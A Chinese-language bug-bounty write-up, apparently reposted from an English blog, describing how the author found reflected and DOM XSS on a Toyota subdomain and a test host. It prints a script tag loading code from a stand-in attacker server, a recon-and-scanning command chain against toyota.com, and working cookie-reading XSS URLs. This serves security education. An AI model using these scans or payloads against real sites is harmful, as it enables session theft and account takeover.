forever young
01
背景
安全小白团
今天我将讨论使用不同技术的多种跨站脚本(XSS) 攻击,这是我在参与各种漏洞赏金计划时发现的。
XSS:(跨站脚本)是一种安全漏洞,当攻击者向其他用户查看的网页中注入恶意脚本时,这种漏洞就会发生。XSS 攻击旨在在受害者浏览器的上下文中执行恶意脚本,从而使攻击者能够窃取敏感信息。例如,在 javascript 中,如果攻击者能够注入像这样的内容:
<script src=https://attacker_Server.com/attack.js></script>
// 从攻击者服务器加载恶意 Java 脚本文件,该文件执行恶意操作,例如从受害者那里窃取敏感数据(如会话 cookie)和获取帐户接管。
02
XSS类型
安全小白团
1. 反射型XSS
是最简单的一种XSS。当应用程序在HTTP请求中接收数据,并以不安全的方式将该数据包含在响应中时,就会发生这种情况。例如:如果我们在网站中有一个用于过滤衣服的类别参数,比如“https://example.com?category=t-shirt”,并且这个值以不安全的方式被回显在响应中,如<p>t-shirt</p>,这意味着我们可以注入我们的恶意负载,如<p><script>alert(document.cookie)</script></p>,以获取会话cookie。
https://portswigger.net/web-security/cross-site-scripting/dom-based
03
丰田中的严重DOM XSS
安全小白团
httpx -l subdomains.txt -o httpx.txt
echo "toyota.com" | gau --threads 5 >> Enpoints.txt
cat httpx.txt | katana -jc >> Enpoints.txt
cat Enpoints.txt | uro >> Endpoints_F.txt
gau:一个工具,可以从Wayback Machine中获取任何域名的已知URL。
https://github.com/lc/gau
katana:一个专注于深度网络爬虫的强大工具。
https://github.com/projectdiscovery/katana
uro:一个很好的工具,用于从收集到的端点中过滤掉不相关/重复的内容。例如,如果我们有多个URL,如https://example.com?id=1和https://example.com?id=2,uro会将其过滤为仅一个URL。
https://github.com/s0md3v/uro
https://github.com/tomnomnom/gf
https://github.com/1ndianl33t/Gf-Patterns
cat Endpoints_F.txt | gf xss >> XSS.txt
用于获取可能容易受到XSS攻击的带有参数的URL。
https://github.com/KathanP19/Gxss
cat XSS.txt | Gxss -p khXSS -o XSS_Ref.txt
https://github.com/hahwul/dalfox
dalfox file XSS_Ref.txt -o Vulnerable_XSS.txt
https://sub.toyota.com/direcrory/?dir=</script><script>confirm(document.domain)</script>
当时,我很好奇这是否是唯一的漏洞参数,还是存在其他参数,以及为什么会发生这种情况。我发现了很多存在漏洞的参数。
<script>
// Assuming the URL is http://test.com?param=test
var urlParams = new URLSearchParams(window.location.search);
var paramValue = urlParams.get('param');
// This will execute the script tag in the paramValue variable
document.write(paramValue)
</script>
让我们发送以下URL来检查目标是否对cookies有任何防护措施:
https://sub.toyota.com/direcrory/?dir=</script><script>confirm(document.cookie)</script>
不幸的是,这意味着我可以对任何用户执行完整的账户接管(RXSS)。我已经详细报告了这个漏洞,并得到了确认。
04
背景漏洞赏金计划中的中等难度反射性XSS
安全小白团
反射型 XSS是最常见的漏洞之一,也相对容易发现,但我要谈谈我多次遇到的一些特殊情况。
在对targets.com进行侦察并收集所有相关信息后,我收集了各个URL。我发现了一个非常有趣的URL,给我展示了以下页面。
https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php
当我导航到基础URL时,我收到了一个403 Forbidden(禁止访问)的错误。
我使用自定义的单词列表和dirsearch工具对基础URL和其他URL进行了模糊测试。
dirsearch -u https://tst2.dev.targets.com/ -w wordlist.txt -e php,cgi,htm,html,shtm,shtml,js,txt --random-agent
(-u) 用于指定目标网址;
(-w) 用于指定自定义的单词列表;
(-e) 用于指定要测试的不同文件扩展名;
(--random-agent) 用于改变请求的用户代理。
但是,我并没有得到任何重要的结果。那么,关于隐藏参数我们该怎么做呢?让我们使用 Arjun 工具或 Param Miner 扩展来扫描,这些工具可以通过发送不同的请求(如 GET、POST、JSON、XML)来发现有效的查询参数。
https://github.com/s0md3v/Arjun
https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943
arjun -u https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php -m GET -wParameters_Fuzz.txt
(-u) 用于指定目标网址;
(-m GET) 表示使用 GET 方法发送请求;
(-w) 用于指定自定义的单词列表。
响应
接下来,让我们针对 auth_status 参数尝试不同的注入,如 XSS、SQLi 等。但为了不浪费时间,我将专注于反射型 XSS。
https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php?auth_status=%3Cscript%3Econfirm%285%29%3C%2Fscript%3E
https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php?auth_status=%3CsCriPt%3Econfirm%28documen.cookie%29%3C%2FScRipt%3E
专业提醒:当你发现类似这样的漏洞时,请尝试看看子域名是否也易受同样的漏洞影响。这就是我在收集[*.dev.targets.com]的子域名时所做的事情,我发现了大约四个易受攻击的子域名。但当我报告它们时,审查团队认为它们属于同一个漏洞,最终我获得了赏金。
注意:你可以使用ffuf工具对子域名进行模糊测试,只需使用完整的URL即可。
https://github.com/ffuf/ffuf
ffuf -u "https://FUZZ.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php?auth_status=%3CsCriPt%3Econfirm%28documen.cookie%29%3C%2FScRipt %3E" -w 子域名.txt -c -v
https://infosecwriteups.com/how-i-found-multiple-xss-vulnerabilities-using-unknown-techniques-74f8e705ea0d
05
免责&版权声明
安全小白团